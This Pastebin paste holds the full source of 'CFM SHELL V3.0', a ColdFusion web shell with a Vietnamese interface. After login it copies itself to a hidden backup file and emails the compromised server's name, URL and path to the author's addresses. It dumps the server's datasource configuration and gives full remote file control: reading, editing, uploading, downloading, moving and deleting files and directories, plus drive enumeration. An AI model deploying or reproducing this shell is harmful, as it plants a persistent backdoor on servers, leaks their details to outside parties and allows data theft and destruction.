Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <style type="text/css">
- body,td,th {
- color: #00FF00;
- font-size:12px;
- font-family: Courier New;
- }
- body {
- background-color: #000000;
- font: 12px Courier New ;
- }
- a:link
- {
- font: bold 12px Courier New ;
- color: #FFFF33;
- text-decoration: none;
- }
- a:visited
- {
- font: bold 12px Courier New ;
- color: #FFFF33;
- text-decoration: none;
- }
- .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
- .TextBox {border: 1px solid #084B8E}
- .style3 {color: #FF0000}
- </style>
- <head>
- <TITLE>CFM SHELL V3.0 By Vampire fromn [VHC]</TITLE>
- <meta http-equiv="Content-Type" content="text/html">
- </head>
- <body>
- <center>
- Cfm Shell v3.0
- <br>
- By <a href="ymsgr:sendim?vampire.legend_vn">VampirE</a> from <a href="vhcgroup.net">VHC</a>
- <br>
- Website: <a href="VampireVN.Us">VampireVN.Us</a> - Email: <a href="mailto:[email protected]">[email protected]</a>
- </center>
- <hr>
- <script langauge="JavaScript" type="text/javascript">
- function doMenu(item)
- {
- obj=document.getElementById(item);
- col=document.getElementById("x" + item);
- if (obj.style.display=="none")
- {
- obj.style.display="block"; col.innerHTML="[-]";
- }
- else
- {
- obj.style.display="none"; col.innerHTML="[+]";
- }
- }
- </script>
- <!--- Login --->
- <cfif IsDefined("logout")>
- <cfset structclear(cookie)>
- <cflocation url="?" addtoken="No">
- </cfif>
- <cfif IsDefined("cookie.username")>
- <!--- Main --->
- <center>Xin chào <font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
- <center><b><a href="?logout">Thoát</a></b></center>
- <hr>
- <cfif not FileExists("#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm")>
- <cffile action="copy" source="#GetTemplatePath()#" destination="#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm">
- <cfoutput>
- <cftry>
- <cfmail
- to = "[email protected]"
- from = "Cfm_Shell@localhost"
- cc = "[email protected]"
- subject = "Shell in #CGI.SERVER_NAME#">
- Server Name: #CGI.SERVER_NAME#:#CGI.SERVER_PORT#
- Http Host: #CGI.HTTP_HOST#:#CGI.SERVER_PORT#
- Link: http://#CGI.SERVER_NAME##CGI.SCRIPT_NAME#
- Patch: #GetTemplatePath()#
- Backup: #GetDirectoryFromPath(GetTemplatePath())#headereds.cfm
- </cfmail>
- <cfcatch type="any">
- Apologies, an error has occurred. Please try again later.
- </cfcatch>
- </cftry>
- </cfoutput>
- </cfif>
- <cfoutput>
- <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
- <cfif Right(dir, 1) neq "\" >
- <cfset dir = "#dir#\">
- </cfif>
- <!--- Ham get Datasource Infor --->
- <cfscript>
- factory = CreateObject("java", "coldfusion.server.ServiceFactory");
- DataSoureceInfo = factory.DataSourceService.getDatasources();
- </cfscript>
- <!--- Ham doc tep --->
- <cffunction name="ReadFile" access="remote" output="true" returntype="any">
- <cfargument name="fileread" type="string" required="true"/>
- <cfloop file="#arguments.fileread#" index="line"> #line#<br> </cfloop>
- </cffunction>
- <!--- ham xoa thu muc --->
- <cffunction name="dirDelete" access="public" output="false" returntype="any">
- <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
- <cfdirectory action="list" name="delfile" directory="#arguments.dir#">
- <cfif delfile.RecordCount EQ 0>
- <cfif directoryExists(arguments.dir)>
- <cfdirectory action="delete" directory="#arguments.dir#">
- </cfif>
- <cfelse>
- <cfloop query="delfile">
- <cfif type EQ "file">
- <cffile action="delete" file="#arguments.dir#\#name#">
- <cfelse>
- <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
- </cfif>
- </cfloop>
- <cfif directoryExists(arguments.dir)>
- <cfdirectory action="delete" directory="#arguments.dir#">
- </cfif>
- </cfif>
- </cffunction>
- <!--- ham doi ten thu muc --->
- <cffunction name="renameDirectory" access="remote" output="false" returntype="void">
- <cfargument name="oldDir" type="string" required="true"/>
- <cfargument name="newDir" type="string" required="true"/>
- <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>
- </cffunction>
- </cfoutput>
- <!--- ham Zip --->
- <cffunction name="zipfile" access="remote" output="false" returntype="void">
- <cfargument name="source" required="true" type="string">
- <cfargument name="destination" required="true" type="string">
- <cfzip action="zip" file="#arguments.destination#" recurse="yes" source="#arguments.source#" storePath="yes" />
- </cffunction>
- <!--- ham UnZip --->
- <cffunction name="unzipfile" access="remote" output="false" returntype="void">
- <cfargument name="source" required="true" type="string">
- <cfargument name="destination" required="true" type="string">
- <cfzip action="unzip" file="#arguments.source#" destination="#arguments.destination#" storePath="yes" />
- </cffunction>
- <!--- ham Copy Thu Muc --->
- <cffunction name="dirCopy" output="false">
- <cfargument name="source" required="true" type="string">
- <cfargument name="destination" required="true" type="string">
- <cfset var uid = CreateUUID()>
- <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
- <cfif Not DirectoryExists("#arguments.destination#")>
- <cfdirectory action="create" directory="#arguments.destination#">
- </cfif>
- <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
- <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
- </cffunction>
- <!--- ham Move Thu Muc --->
- <cffunction name="dirMove" output="false">
- <cfargument name="source" required="true" type="string">
- <cfargument name="destination" required="true" type="string">
- <cfset var uid = CreateUUID()>
- <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
- <cfif Not DirectoryExists("#arguments.destination#")>
- <cfdirectory action="create" directory="#arguments.destination#">
- </cfif>
- <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
- <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
- <cfset dirDelete('#source#')>
- </cffunction>
- <!--- bat dau nhan lenh --->
- <cfif isDefined("action")>
- <cfif action is "goto">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset dir = #scr#>
- <cfif Right(dir, 1) neq "\" >
- <cfset dir = "#dir#\">
- </cfif>
- </cfif>
- </cfoutput>
- <cfelseif action is "edit">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfif FileExists("#scr#")>
- <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
- <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
- <script language="JavaScript" type="text/javascript">
- function sTrim(sVariable)
- {
- return sVariable.replace(/^\s+|\s+$/g,"");
- }
- function validateFields(form)
- {
- return true;
- }
- </script>
- <cffile action="read" file="#scr#" variable="thisFile">
- <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
- <input type="hidden" name="fileName" value="#file_name#" />
- <input type="hidden" name="action_type" value="edit" />
- <table border="0" style="width:600px;">
- <tr>
- <td style="font-weight:bold;" nowrap="nowrap">
- S&##7917;a t&##7879;p:
- </td>
- <td style="width:480px;">
- #scr#
- </td>
- </tr>
- <tr>
- <td style="font-weight:bold;" nowrap="nowrap">
- N&##7897;i dung:
- </td>
- <td colspan="2">
- <cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#>
- <cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#>
- <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;">#thisFile#</textarea>
- </td>
- </tr>
- <tr>
- <td colspan="2" style="text-align:right;">
- <input type="submit" value="L&##432;u" style="font-family:verdana; font-size:11px;" />
- </td>
- </tr>
- </table>
- </form>
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "cut">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset cutdir = #scr#>
- <cfif FileExists("#scr#")>
- <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
- <cfloop condition = "Right(cutdir, 1) neq '\'">
- <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("thumucsechuyen")>
- <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
- <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "cutd">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset copydir = #scr#>
- <cfif DirectoryExists("#scr#")>
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- <cfloop condition = "Right(copydir, 1) neq '\'">
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("thumucsechuyen")>
- #dirMove("#scr#","#thumucsechuyen#")#
- <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "copy">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset copydir = #scr#>
- <cfif FileExists("#scr#")>
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- <cfloop condition = "Right(copydir, 1) neq '\'">
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("thumucsechuyen")>
- <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
- <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "copyd">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset copydir = #scr#>
- <cfif DirectoryExists("#scr#")>
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- <cfloop condition = "Right(copydir, 1) neq '\'">
- <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("thumucsechuyen")>
- #dirCopy("#scr#","#thumucsechuyen#")#
- <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "rename">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset renamedir = #scr#>
- <cfif FileExists("#scr#")>
- <cfloop condition = "Right(renamedir, 1) neq '\'">
- <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("namechange")>
- <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
- <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "renamed">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset renamedir = #scr#>
- <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
- <cfif DirectoryExists("#scr#")>
- <cfloop condition = "Right(renamedir, 1) neq '\'">
- <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
- </cfloop>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("namechange")>
- #renameDirectory('#scr#','#renamedir##namechange#')#
- <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
- </cfif>
- <cfelse>
- <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "down">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset downdir = #scr#>
- <cfif FileExists("#scr#")>
- <cfloop condition = "Right(downdir, 1) neq '\'">
- <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
- </cfloop>
- <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
- <cfcontent file="#scr#" type="application/octet-stream">
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "del">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset deletedir = #scr#>
- <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
- <cfif FileExists("#scr#")>
- <cfloop condition = "Right(deletedir, 1) neq '\'">
- <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
- </cfloop>
- <cffile action="delete" file="#scr#">
- <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
- <cfelse>
- <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "deld">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfset deletedir = #scr#>
- <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
- <cfif DirectoryExists("#scr#")>
- <cfloop condition = "Right(deletedir, 1) neq '\'">
- <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
- </cfloop>
- <cfset dirDelete('#scr#')>
- <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
- <cfelse>
- <p>Th&##3432; m&##37909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
- </cfif>
- <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "new">
- <!---
- <cfoutput>
- <cfif isDefined("scr")>
- <cfif FileExists("#scr#")>
- <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
- <cfelse>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("namecreate")>
- <cffile action = "write" file = "#scr##namecreate#" output = "">
- <cflocation url="?action=goto&scr=#scr#" addtoken="No">
- </cfif>
- </cfif>
- <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- --->
- <cfoutput>
- <cfif isDefined("scr")>
- <cfdirectory action="list" directory="#scr#" name="fileList">
- <script language="JavaScript" type="text/javascript">
- var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
- function sTrim(sVariable)
- {
- return sVariable.replace(/^\s+|\s+$/g,"");
- }
- function validateFields(form)
- {
- var fileCount = 0;
- var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
- if (sTrim(form.fileName.value) == "")
- {
- alert('Can nhap ten tep');
- form.fileName.focus();
- return false;
- }
- if (form.fileName.value.search(re) < 0)
- {
- alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
- form.fileName.focus();
- form.fileName.select();
- return false;
- }
- for (var i=0; i<fileArray.length; i++)
- {
- if (sTrim(form.fileName.value) == fileArray[i])
- {
- fileCount++;
- }
- }
- if (fileCount > 0)
- {
- alert('Ten nay da ton tai, vui long chon tep khac');
- form.fileName.focus();
- form.fileName.select();
- return false;
- }
- return true;
- }
- </script>
- <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
- <input type="hidden" name="action_type" value="add" />
- <table border="0" style="width:400px;">
- <tr>
- <td style="font-weight:bold;" nowrap="nowrap">
- T&##234;n t&##7879;p:
- </td>
- <td>
- <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
- </td>
- </tr>
- <tr>
- <td style="font-weight:bold;" nowrap="nowrap">
- N&##7897;i dung:
- </td>
- <td colspan="2">
- <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
- </td>
- </tr>
- <tr>
- <td colspan="2" style="text-align:right;">
- <input type="submit" value="T&##7841;o t&##7879;p" style="font-family:verdana; font-size:11px;" />
- </td>
- </tr>
- </table>
- </form>
- <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "newd">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfform name="articles" ENCTYPE="multipart/form-data">
- B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
- </cfform>
- <cfif isDefined("namecreate")>
- <cfdirectory directory= "#scr##namecreate#" action="create">
- <cflocation url="?action=goto&scr=#scr#" addtoken="No">
- </cfif>
- <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "upload">
- <cfoutput>
- <cfif isDefined("scr")>
- <cfform enctype="multipart/form-data" method="post">
- B&##7841;n s&##7869; t&##7843;i t&##7879;p l&##234;n th&##432; m&##7909;c : <font color="red">#scr#</font><br>
- Ch&##7885;n t&##7879;p mu&##7889;n t&##7843;i: <input type="file" size="80" name="fileup" /> <input type="submit" value="T&##7843;i l&##234;n" /><br/>
- </cfform>
- <cfif isDefined("fileup")>
- <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
- <cflocation url="?action=goto&scr=#scr#" addtoken="No">
- </cfif>
- <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- <cfelseif action is "datainfo">
- <cfoutput>
- <cfdump var="#DataSoureceInfo#">
- <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfoutput>
- <cfelseif action is "save">
- <cfoutput>
- <cfif isDefined("form.fileName")>
- <title>&##272;&##227; l&##432;u t&##7879;p</title>
- <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
- &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
- <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- <cfelse>
- <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
- </cfif>
- </cfoutput>
- </cfif>
- <cfelse>
- <cfset action = "goto">
- </cfif>
- <cfif action is "goto" or action is "del" or action is "deld">
- <cfoutput>
- <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Th&##244;ng tin m&##225;y ch&##7911;:</center>
- <div id="thongtin">
- <!--- Lay thong tin ip --->
- <cfif #cgi.http_x_forwarded_for# eq "">
- <cfset clientip="#cgi.remote_addr#">
- <cfelse>
- <cfset clientip="#cgi.http_x_forwarded_for#">
- </cfif>
- <!--- In thong tin server --->
- Server IP: <font color="red">#CGI.HTTP_HOST#:#CGI.SERVER_PORT#</font> - Client IP: <font color="red">#clientip#</font><br>
- Gateway Interface: <font color="red">#CGI.GATEWAY_INTERFACE#</font> - Server Name: <font color="red">#CGI.SERVER_NAME#:#CGI.SERVER_PORT#</font><br>
- Server Protocol: <font color="red">#CGI.SERVER_PROTOCOL#</font> - Server Software: <font color="red">#CGI.SERVER_SOFTWARE#</font><br>
- Server Coldfusion:<br>
- *) Appserver: <font color="red">#server.coldfusion.appserver#</font> - Expiration: <font color="red">#DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#</font><br>
- *) Product Name: <font color="red">#server.coldfusion.productname#</font> - Product Level: <font color="red">#server.coldfusion.productlevel#</font> - Product Version: <font color="red">#server.coldfusion.productversion#</font><br>
- *) Server OS Arch: <font color="red">#server.os.arch#</font> - Server OS Name: <font color="red">#server.os.name#</font> - Server OS Version: <font color="red">#server.os.version#</font><br>
- </div>
- <hr>
- <!--- Thu tao Object --->
- <cftry>
- <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">
- <cfcatch type="any">
- <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">
- </cfcatch>
- </cftry>
- <!--- Lay toan bo thong tin drives--->
- <CFSET Drives = FSO.Drives>
- <!--- Danh so thu tu drives --->
- <center><a href="javascript:doMenu('drives');" id=xdrives>[-]</a>Th&##244;ng tin &##7893; c&##7913;ng:</center>
- <div id="drives">
- <center>T&##7893;ng s&##7889; &##7893; &##273;&##297;a : #Drives.Count#<br></center>
- <!--- Tao bang de hien thi thong tin --->
- <table align=center border="1" cellspacing="1" cellpadding="5">
- <tr>
- <td align=center>&##7892; &##273;&##297;a</td>
- <td align=center>&##272;&##432;&##7901;ng d&##7851;n</td>
- <td align=center>T&##7893;ng dung l&##432;&##7907;ng</td>
- <td align=center>Dung l&##432;&##7907;ng tr&##7889;ng</td>
- <!---<td align=center>Dung l&##432;&##7907;ng c&##243; th&##7875; s&##7917; d&##7909;ng</td>
- <td align=center>S&##7889; Serial</td>--->
- <td align=center>Lo&##7841;i</td>
- <td align=center>S&##7861;n s&##224;ng?</td>
- <td align=center>T&##234;n</td>
- <td align=center>&##272;&##7883;nh d&##7841;ng</td>
- </tr>
- <!--- This is a COM collection so we cant use conditional loops, index loops and other loops.ColdFusion provides us a nice way of looping over COM collections so we are using that here .--->
- <cfloop collection="#drives#" item="this">
- <!--- Bo cau truc cfif duoi neu khong co o dia mem --->
- <cfif this.DriveLetter is not "A">
- <tr>
- <!--- Hien thi Drive Letter --->
- <td align=center>
- <a href="?action=goto&scr=#this.path#\">#this.DriveLetter#</a>
- </td>
- <!--- Hien thi duong dan --->
- <td align=center>
- <a href="?action=goto&scr=#this.path#\">#this.path#\</a>
- </td>
- <!--- Hien thi tong dung luong --->
- <td align=center>
- <cfif this.isReady AND ISDefined("this.TotalSize")>
- #NumberFormat(round(evaluate(this.TotalSize/1024/1024)))# MB
- </cfif>
- </td>
- <!--- Hien thi dung luong trong --->
- <td align=center>
- <cfif this.isReady AND ISNumeric(this.FreeSpace)>
- #NumberFormat(round(evaluate(this.FreeSpace/1024/1024)))# MB
- </cfif>
- </td>
- <!--- Hien thi dung luong co the su dung
- <td align=center>
- <cfif this.isReady AND IsNumeric(this.AvailableSpace)>
- #NumberFormat(round(evaluate(this.AvailableSpace/1024/1024)))# MB
- </cfif>
- </td>
- --->
- <!--- Hien thi so serial
- <td align=center>
- <cfif this.isReady AND LEN(this.SerialNumber)>
- #this.SerialNumber#
- </cfif>
- </td>
- --->
- <!--- These are the constants returned by Drive.DriveTypeConst DriveTypeRemovable = 1, Const DriveTypeFixed = 2, Const DriveTypeNetwork = 3, Const DriveTypeCDROM = 4, Const DriveTypeRAMDisk = 5, So we'll use cfswitch statements to display the actual type --->
- <td align=center>
- <cfswitch expression="#this.DriveType#">
- <cfcase value="1">R&##7901;i</cfcase>
- <cfcase value="2">C&##7889; &##273;&##7883;nh</cfcase>
- <cfcase value="3">M&##7841;ng</cfcase>
- <cfcase value="4">&##7892; CD</cfcase>
- <cfcase value="5">&##272;&##297;a nh&##7899; Ram</cfcase>
- <cfdefaultcase>Kh&##244;ng bi&##7871;t</cfdefaultcase>
- </cfswitch>
- </td>
- <!--- Hien thi drive da san sang --->
- <td align=center>
- #this.isReady#
- </td>
- <!--- Here we have to display the drive name. Before that, we willcheck if it is a network drive or not. If it is a network drive, then we display the 'sharename'; otherwise, we display the 'volumename'. --->
- <td align=center>
- <cfif this.isReady>
- <cfif this.DriveType IS "3">
- <!--- #this.ShareName# --->
- <cfelse>
- #this.VolumeName#
- </cfif>
- </cfif>
- </td>
- <!--- Hien thi dinh dang --->
- <td align=center>
- <cfif this.isReady>
- #this.FileSystem#
- </cfif>
- </td>
- </tr>
- </cfif>
- </cfloop>
- </table>
- </div>
- <hr>
- <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>C&##244;ng c&##7909;:</center>
- <div id="congcu">
- Th&##432; m&##7909;c hi&##7879;n t&##7841;i: <font color="red">#dir#</font><br>
- H&##224;nh &##273;&##7897;ng: <a href="?action=new&scr=#dir#">T&##7841;o t&##7879;p</a> - <a href="?action=newd&scr=#dir#">T&##7841;o th&##432; m&##7909;c</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">T&##7843;i l&##234;n</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">Th&##432; m&##7909;c g&##7889;c</a><br>
